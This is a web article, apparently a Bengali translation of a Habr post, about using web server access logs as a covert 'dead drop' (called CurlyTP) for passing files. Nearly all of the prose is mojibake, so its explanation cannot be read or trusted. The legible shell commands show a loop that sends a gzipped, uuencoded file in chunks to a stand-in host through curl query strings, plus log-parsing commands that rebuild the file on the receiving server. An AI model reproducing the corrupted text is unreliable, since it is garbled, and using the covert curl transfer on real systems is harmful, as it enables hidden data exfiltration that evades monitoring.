āĻāĻāĻāĻŋāĻĒāĻŋāĻĄāĻŋāĻ¯āĻŧāĻžāĻ° āĻ¸āĻāĻā§āĻāĻž āĻ āĻ¨ā§āĻ¸āĻžāĻ°ā§, āĻāĻāĻāĻŋ āĻŽā§āĻ¤ āĻĄā§āĻ°āĻĒ āĻāĻāĻāĻŋ āĻˇāĻĄāĻŧāĻ¯āĻ¨ā§āĻ¤ā§āĻ°ā§āĻ° āĻ¸āĻ°āĻā§āĻāĻžāĻŽ āĻ¯āĻž āĻā§āĻĒāĻ¨ āĻ āĻŦāĻ¸ā§āĻĨāĻžāĻ¨ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻ˛ā§āĻā§āĻĻā§āĻ° āĻŽāĻ§ā§āĻ¯ā§ āĻ¤āĻĨā§āĻ¯ āĻŦāĻž āĻāĻŋāĻā§ āĻāĻāĻā§āĻŽ āĻāĻĻāĻžāĻ¨-āĻĒā§āĻ°āĻĻāĻžāĻ¨ āĻāĻ°āĻ¤ā§ āĻāĻžāĻ āĻāĻ°ā§āĨ¤ āĻ§āĻžāĻ°āĻŖāĻžāĻāĻŋ āĻšāĻ˛ āĻ¯ā§ āĻ˛ā§āĻā§āĻ°āĻž āĻāĻāĻ¨āĻ āĻĻā§āĻāĻž āĻāĻ°ā§ āĻ¨āĻž - āĻ¤āĻŦā§ āĻ¤āĻžāĻ°āĻž āĻāĻāĻ¨āĻ āĻ āĻĒāĻžāĻ°ā§āĻļāĻ¨āĻžāĻ˛ āĻ¨āĻŋāĻ°āĻžāĻĒāĻ¤ā§āĻ¤āĻž āĻŦāĻāĻžāĻ¯āĻŧ āĻ°āĻžāĻāĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻ¤āĻĨā§āĻ¯ āĻŦāĻŋāĻ¨āĻŋāĻŽāĻ¯āĻŧ āĻāĻ°ā§āĨ¤
āĻ˛ā§āĻāĻžāĻ¨ā§āĻ° āĻāĻžāĻ¯āĻŧāĻāĻž āĻŽāĻ¨ā§āĻ¯ā§āĻ āĻāĻāĻ°ā§āĻˇāĻŖ āĻāĻ°āĻž āĻāĻāĻŋāĻ¤ āĻ¨āĻ¯āĻŧāĨ¤ āĻ āĻ¤āĻāĻŦ, āĻ āĻĢāĻ˛āĻžāĻāĻ¨ āĻŦāĻŋāĻļā§āĻŦā§ āĻ¤āĻžāĻ°āĻž āĻĒā§āĻ°āĻžāĻ¯āĻŧāĻļāĻ āĻŦāĻŋāĻāĻā§āĻˇāĻŖ āĻāĻŋāĻ¨āĻŋāĻ¸ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§: āĻĻā§āĻ¯āĻŧāĻžāĻ˛ā§ āĻāĻāĻāĻŋ āĻāĻ˛āĻāĻž āĻāĻ, āĻāĻāĻāĻŋ āĻ˛āĻžāĻāĻŦā§āĻ°ā§āĻ°āĻŋāĻ° āĻŦāĻ, āĻŦāĻž āĻāĻāĻāĻŋ āĻāĻžāĻā§āĻ° āĻĢāĻžāĻāĻĒāĻžā§ˇ
āĻāĻ¨ā§āĻāĻžāĻ°āĻ¨ā§āĻā§ āĻ
āĻ¨ā§āĻāĻā§āĻ˛āĻŋ āĻāĻ¨āĻā§āĻ°āĻŋāĻĒāĻļāĻ¨ āĻāĻŦāĻ āĻŦā§āĻ¨āĻžāĻŽā§ āĻ¸āĻ°āĻā§āĻāĻžāĻŽ āĻ°āĻ¯āĻŧā§āĻā§, āĻ¤āĻŦā§ āĻāĻ āĻ¸āĻ°āĻā§āĻāĻžāĻŽāĻā§āĻ˛āĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻžāĻ° āĻŦāĻŋāĻˇāĻ¯āĻŧāĻāĻŋ āĻŽāĻ¨ā§āĻ¯ā§āĻ āĻāĻāĻ°ā§āĻˇāĻŖ āĻāĻ°ā§āĨ¤ āĻāĻĒāĻ°āĻ¨ā§āĻ¤ā§, āĻ¤āĻžāĻ°āĻž āĻāĻ°ā§āĻĒā§āĻ°ā§āĻ āĻŦāĻž āĻ¸āĻ°āĻāĻžāĻ°ā§ āĻĒāĻ°ā§āĻ¯āĻžāĻ¯āĻŧā§ āĻŦā§āĻ˛āĻ āĻāĻ°āĻž āĻšāĻ¤ā§ āĻĒāĻžāĻ°ā§. āĻāĻŋ āĻāĻ°ā§?
āĻŦāĻŋāĻāĻžāĻļāĻāĻžāĻ°ā§ āĻ°āĻžāĻ¯āĻŧāĻžāĻ¨ āĻĢā§āĻ˛ āĻāĻāĻāĻŋ āĻāĻāĻ°ā§āĻˇāĻŖā§āĻ¯āĻŧ āĻŦāĻŋāĻāĻ˛ā§āĻĒ āĻĒā§āĻ°āĻ¸ā§āĻ¤āĻžāĻŦ āĻāĻ°ā§āĻā§āĻ¨ -
āĻĻā§āĻāĻž āĻ¯āĻžāĻā§āĻā§ āĻ¯ā§ āĻā§āĻ¨āĻ āĻāĻ¯āĻŧā§āĻŦ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ° āĻāĻĒāĻ¨āĻžāĻā§ āĻ˛āĻā§ āĻĒā§āĻ°āĻžāĻ¯āĻŧ āĻā§āĻ¨āĻ āĻŦāĻžāĻ°ā§āĻ¤āĻž āĻ¸āĻāĻ°āĻā§āĻˇāĻŖ āĻāĻ°āĻ¤ā§ āĻĻā§āĻ¯āĻŧāĨ¤ āĻĢā§āĻ˛ āĻāĻžāĻŦāĻāĻŋāĻ˛ āĻāĻŋāĻāĻžāĻŦā§ āĻāĻāĻž āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻž āĻ¯āĻžāĻ¯āĻŧāĨ¤
āĻ¤āĻŋāĻ¨āĻŋ āĻāĻ āĻŦāĻŋāĻāĻ˛ā§āĻĒāĻāĻŋ āĻ āĻĢāĻžāĻ° āĻāĻ°ā§āĻ¨:
- āĻāĻāĻāĻŋ āĻā§āĻā§āĻ¸āĻ āĻĢāĻžāĻāĻ˛ (āĻā§āĻĒāĻ¨ āĻŦāĻžāĻ°ā§āĻ¤āĻž) āĻ¨āĻŋāĻ¨ āĻāĻŦāĻ āĻšā§āĻ¯āĻžāĻļ (md5sum) āĻāĻŖāĻ¨āĻž āĻāĻ°ā§āĻ¨āĨ¤
- āĻāĻŽāĻ°āĻž āĻāĻāĻŋ āĻāĻ¨āĻā§āĻĄ (gzip+uuencode)āĨ¤
- āĻāĻŽāĻ°āĻž āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§ āĻāĻā§āĻāĻžāĻā§āĻ¤āĻāĻžāĻŦā§ āĻā§āĻ˛ āĻ āĻ¨ā§āĻ°ā§āĻ§ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻ˛āĻā§ āĻ˛āĻŋāĻāĻŋāĨ¤
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
āĻāĻāĻāĻŋ āĻĢāĻžāĻāĻ˛ āĻĒāĻĄāĻŧāĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻāĻĒāĻ¨āĻžāĻā§ āĻāĻ āĻā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻāĻ˛āĻžāĻĒāĻā§āĻ˛āĻŋ āĻŦāĻŋāĻĒāĻ°ā§āĻ¤ āĻā§āĻ°āĻŽā§ āĻ¸āĻŽā§āĻĒāĻžāĻĻāĻ¨ āĻāĻ°āĻ¤ā§ āĻšāĻŦā§: āĻĢāĻžāĻāĻ˛āĻāĻŋ āĻĄāĻŋāĻā§āĻĄ āĻāĻŦāĻ āĻāĻ¨āĻāĻŋāĻĒ āĻāĻ°ā§āĻ¨, āĻšā§āĻ¯āĻžāĻļ āĻĒāĻ°ā§āĻā§āĻˇāĻž āĻāĻ°ā§āĻ¨ (āĻšā§āĻ¯āĻžāĻļāĻāĻŋ āĻā§āĻ˛āĻž āĻā§āĻ¯āĻžāĻ¨ā§āĻ˛āĻā§āĻ˛āĻŋāĻ¤ā§ āĻ¨āĻŋāĻ°āĻžāĻĒāĻĻā§ āĻĒā§āĻ°ā§āĻ°āĻŖ āĻāĻ°āĻž āĻ¯ā§āĻ¤ā§ āĻĒāĻžāĻ°ā§)āĨ¤
āĻ¸ā§āĻĒā§āĻ¸ āĻĻāĻŋāĻ¯āĻŧā§ āĻĒā§āĻ°āĻ¤āĻŋāĻ¸ā§āĻĨāĻžāĻĒāĻŋāĻ¤ āĻšāĻ¯āĻŧ =+=
āĻ¯āĻžāĻ¤ā§ āĻ āĻŋāĻāĻžāĻ¨āĻžāĻ¯āĻŧ āĻā§āĻ¨ āĻ¸ā§āĻĒā§āĻ¸ āĻ¨āĻž āĻĨāĻžāĻā§āĨ¤ āĻĒā§āĻ°ā§āĻā§āĻ°āĻžāĻŽāĻāĻŋ, āĻ¯āĻžāĻā§ āĻ˛ā§āĻāĻ CurlyTP āĻŦāĻ˛ā§, āĻŦā§āĻ¸64 āĻāĻ¨āĻā§āĻĄāĻŋāĻ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§, āĻ¯ā§āĻŽāĻ¨ āĻāĻŽā§āĻ˛ āĻ¸āĻāĻ¯ā§āĻā§āĻ¤āĻŋāĨ¤ āĻ
āĻ¨ā§āĻ°ā§āĻ§āĻāĻŋ āĻāĻāĻāĻŋ āĻā§āĻāĻ¯āĻŧāĻžāĻ°ā§āĻĄ āĻĻāĻŋāĻ¯āĻŧā§ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§ ?transfer?
āĻ¯āĻžāĻ¤ā§ āĻĒā§āĻ°āĻžāĻĒāĻ āĻ¸āĻšāĻā§āĻ āĻ˛āĻāĻā§āĻ˛āĻŋāĻ¤ā§ āĻāĻāĻŋ āĻā§āĻāĻā§ āĻĒā§āĻ¤ā§ āĻĒāĻžāĻ°ā§āĨ¤
āĻāĻ āĻā§āĻˇā§āĻ¤ā§āĻ°ā§ āĻāĻŽāĻ°āĻž āĻ˛āĻāĻā§āĻ˛āĻŋāĻ¤ā§ āĻā§ āĻĻā§āĻāĻ¤ā§ āĻĒāĻžāĻŦ?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
āĻāĻ¤āĻŋāĻŽāĻ§ā§āĻ¯ā§ āĻāĻ˛ā§āĻ˛āĻŋāĻāĻŋāĻ¤ āĻšāĻŋāĻ¸āĻžāĻŦā§, āĻāĻāĻāĻŋ āĻā§āĻĒāĻ¨ āĻŦāĻžāĻ°ā§āĻ¤āĻž āĻĒā§āĻ¤ā§ āĻāĻĒāĻ¨āĻžāĻā§ āĻŦāĻŋāĻĒāĻ°ā§āĻ¤ āĻā§āĻ°āĻŽā§ āĻ āĻĒāĻžāĻ°ā§āĻļāĻ¨āĻā§āĻ˛āĻŋ āĻāĻ°āĻ¤ā§ āĻšāĻŦā§:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
āĻĒā§āĻ°āĻā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻ¸ā§āĻŦāĻ¯āĻŧāĻāĻā§āĻ°āĻŋāĻ¯āĻŧ āĻāĻ°āĻž āĻ¸āĻšāĻ. Md5sum āĻŽā§āĻ˛ā§, āĻāĻŦāĻ āĻĢāĻžāĻāĻ˛ā§āĻ° āĻŦāĻŋāĻˇāĻ¯āĻŧāĻŦāĻ¸ā§āĻ¤ā§ āĻ¨āĻŋāĻļā§āĻāĻŋāĻ¤ āĻāĻ°ā§ āĻ¯ā§ āĻ¸āĻŦāĻāĻŋāĻā§ āĻ¸āĻ āĻŋāĻāĻāĻžāĻŦā§ āĻĄāĻŋāĻā§āĻĄ āĻāĻ°āĻž āĻšāĻ¯āĻŧā§āĻā§āĨ¤
āĻĒāĻĻā§āĻ§āĻ¤āĻŋāĻāĻŋ āĻā§āĻŦāĻ āĻ¸āĻšāĻāĨ¤ âāĻāĻ āĻ āĻ¨ā§āĻļā§āĻ˛āĻ¨ā§āĻ° āĻŽā§āĻ˛ āĻŦāĻŋāĻˇāĻ¯āĻŧāĻāĻŋ āĻā§āĻŦāĻ˛ āĻĒā§āĻ°āĻŽāĻžāĻŖ āĻāĻ°āĻž āĻ¯ā§ āĻĢāĻžāĻāĻ˛āĻā§āĻ˛āĻŋ āĻ¨āĻŋāĻ°ā§āĻĻā§āĻˇ āĻā§āĻ āĻāĻ¯āĻŧā§āĻŦ āĻ āĻ¨ā§āĻ°ā§āĻ§ā§āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻ¸ā§āĻĨāĻžāĻ¨āĻžāĻ¨ā§āĻ¤āĻ° āĻāĻ°āĻž āĻ¯ā§āĻ¤ā§ āĻĒāĻžāĻ°ā§ āĻāĻŦāĻ āĻāĻāĻŋ āĻĒā§āĻ˛ā§āĻāĻ¨ āĻā§āĻā§āĻ¸āĻ āĻ˛āĻ āĻ¸āĻš āĻ¯ā§ āĻā§āĻ¨āĻ āĻāĻ¯āĻŧā§āĻŦ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§ āĻāĻžāĻ āĻāĻ°ā§āĨ¤ āĻŽā§āĻ˛āĻ¤, āĻĒā§āĻ°āĻ¤āĻŋāĻāĻŋ āĻāĻ¯āĻŧā§āĻŦ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ° āĻāĻāĻāĻŋ āĻ˛ā§āĻāĻžāĻ¨ā§āĻ° āĻāĻžāĻ¯āĻŧāĻāĻž!â āĻĢā§āĻ˛āĻžāĻāĻ¯āĻŧāĻžāĻ°āĻ¸ āĻ˛āĻŋāĻā§āĻā§āĻ¨āĨ¤
āĻ āĻŦāĻļā§āĻ¯āĻ, āĻĒāĻĻā§āĻ§āĻ¤āĻŋāĻāĻŋ āĻ¤āĻāĻ¨āĻ āĻāĻžāĻ āĻāĻ°ā§ āĻ¯āĻāĻ¨ āĻĒā§āĻ°āĻžāĻĒāĻā§āĻ° āĻ¸āĻžāĻ°ā§āĻāĻžāĻ° āĻ˛āĻāĻā§āĻ˛āĻŋāĻ¤ā§ āĻ ā§āĻ¯āĻžāĻā§āĻ¸ā§āĻ¸ āĻĨāĻžāĻā§āĨ¤ āĻāĻŋāĻ¨ā§āĻ¤ā§ āĻāĻ āĻ§āĻ°āĻ¨ā§āĻ° āĻ ā§āĻ¯āĻžāĻā§āĻ¸ā§āĻ¸ āĻĒā§āĻ°āĻĻāĻžāĻ¨ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, āĻāĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§āĻĒ, āĻ āĻ¨ā§āĻ āĻšā§āĻ¸ā§āĻāĻ° āĻĻā§āĻŦāĻžāĻ°āĻžāĨ¤
āĻāĻāĻŋ āĻāĻŋāĻāĻžāĻŦā§ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻ¤ā§?
āĻ°āĻžāĻ¯āĻŧāĻžāĻ¨ āĻĢā§āĻ˛āĻžāĻāĻ¯āĻŧāĻžāĻ°āĻ¸ āĻŦāĻ˛ā§āĻā§āĻ¨ āĻ¯ā§ āĻ¤āĻŋāĻ¨āĻŋ āĻ¤āĻĨā§āĻ¯ āĻ¸ā§āĻ°āĻā§āĻˇāĻž āĻŦāĻŋāĻļā§āĻˇāĻā§āĻ āĻ¨āĻ¨ āĻāĻŦāĻ āĻāĻžāĻ°ā§āĻ˛āĻŋāĻāĻŋāĻĒāĻŋāĻ° āĻ¸āĻŽā§āĻāĻžāĻŦā§āĻ¯ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ°ā§āĻ° āĻāĻāĻāĻŋ āĻ¤āĻžāĻ˛āĻŋāĻāĻž āĻāĻŽā§āĻĒāĻžāĻāĻ˛ āĻāĻ°āĻŦā§āĻ¨ āĻ¨āĻžāĨ¤ āĻ¤āĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻāĻāĻŋ āĻ§āĻžāĻ°āĻŖāĻžāĻ° āĻāĻāĻāĻŋ āĻĒā§āĻ°āĻŽāĻžāĻŖ āĻ¯ā§ āĻāĻŽāĻ°āĻž āĻĒā§āĻ°āĻ¤āĻŋāĻĻāĻŋāĻ¨ āĻ¯ā§ āĻĒāĻ°āĻŋāĻāĻŋāĻ¤ āĻ¸āĻ°āĻā§āĻāĻžāĻŽāĻā§āĻ˛āĻŋ āĻĻā§āĻāĻŋ āĻ¤āĻž āĻāĻāĻāĻŋ āĻ āĻĒā§āĻ°āĻāĻ˛āĻŋāĻ¤ āĻāĻĒāĻžāĻ¯āĻŧā§ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻž āĻ¯ā§āĻ¤ā§ āĻĒāĻžāĻ°ā§āĨ¤
āĻĒā§āĻ°āĻā§āĻ¤āĻĒāĻā§āĻˇā§, āĻāĻ āĻĒāĻĻā§āĻ§āĻ¤āĻŋāĻ° āĻ
āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§āĻ° āĻ¤ā§āĻ˛āĻ¨āĻžāĻ¯āĻŧ āĻ
āĻ¨ā§āĻ āĻ¸ā§āĻŦāĻŋāĻ§āĻž āĻ°āĻ¯āĻŧā§āĻā§ āĻ¯ā§āĻŽāĻ¨ "āĻ˛ā§āĻāĻžāĻā§āĻā§āĻ¨"
āĻāĻāĻŋ āĻĒāĻ°āĻŋāĻˇā§āĻŦāĻž āĻĢāĻžāĻāĻ˛āĻā§āĻ˛āĻŋāĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻŦāĻžāĻ°ā§āĻ¤āĻž āĻĒā§āĻ°ā§āĻ°āĻŖā§āĻ° āĻāĻāĻāĻŋ āĻāĻĒāĻžāĻ¯āĻŧāĨ¤ āĻāĻĒāĻ¨āĻŋ āĻŽāĻ¨ā§ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨ āĻāĻŋāĻāĻžāĻŦā§ āĻāĻŋāĻā§ āĻāĻ¨ā§āĻ¨āĻ¤ āĻā§āĻŽā§āĻĒāĻžāĻ¨ā§ āĻ¸ā§āĻĨāĻžāĻĒāĻ¨ āĻāĻ°āĻž āĻšāĻ¯āĻŧ
āĻ§āĻžāĻ°āĻŖāĻžāĻāĻŋ āĻāĻŋāĻ˛ āĻ¯ā§ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻāĻ¯āĻŧā§āĻŦ āĻŦāĻŋāĻāĻžāĻļāĻāĻžāĻ°ā§āĻ°āĻž āĻāĻ āĻāĻ¸ā§āĻāĻžāĻ° āĻĄāĻŋāĻŽāĻāĻŋ āĻĻā§āĻāĻ¤ā§ āĻĒāĻžāĻŦā§, āĻ¯ā§āĻšā§āĻ¤ā§ āĻāĻāĻāĻ¨ āĻ¸āĻžāĻ§āĻžāĻ°āĻŖ āĻŦā§āĻ¯āĻā§āĻ¤āĻŋ āĻļāĻŋāĻ°ā§āĻ¨āĻžāĻŽ āĻŦāĻž HTML āĻā§āĻĄā§āĻ° āĻĻāĻŋāĻā§ āĻ¤āĻžāĻāĻžāĻŦā§ āĻ¨āĻžāĨ¤
āĻāĻ¤ā§āĻ¸: www.habr.com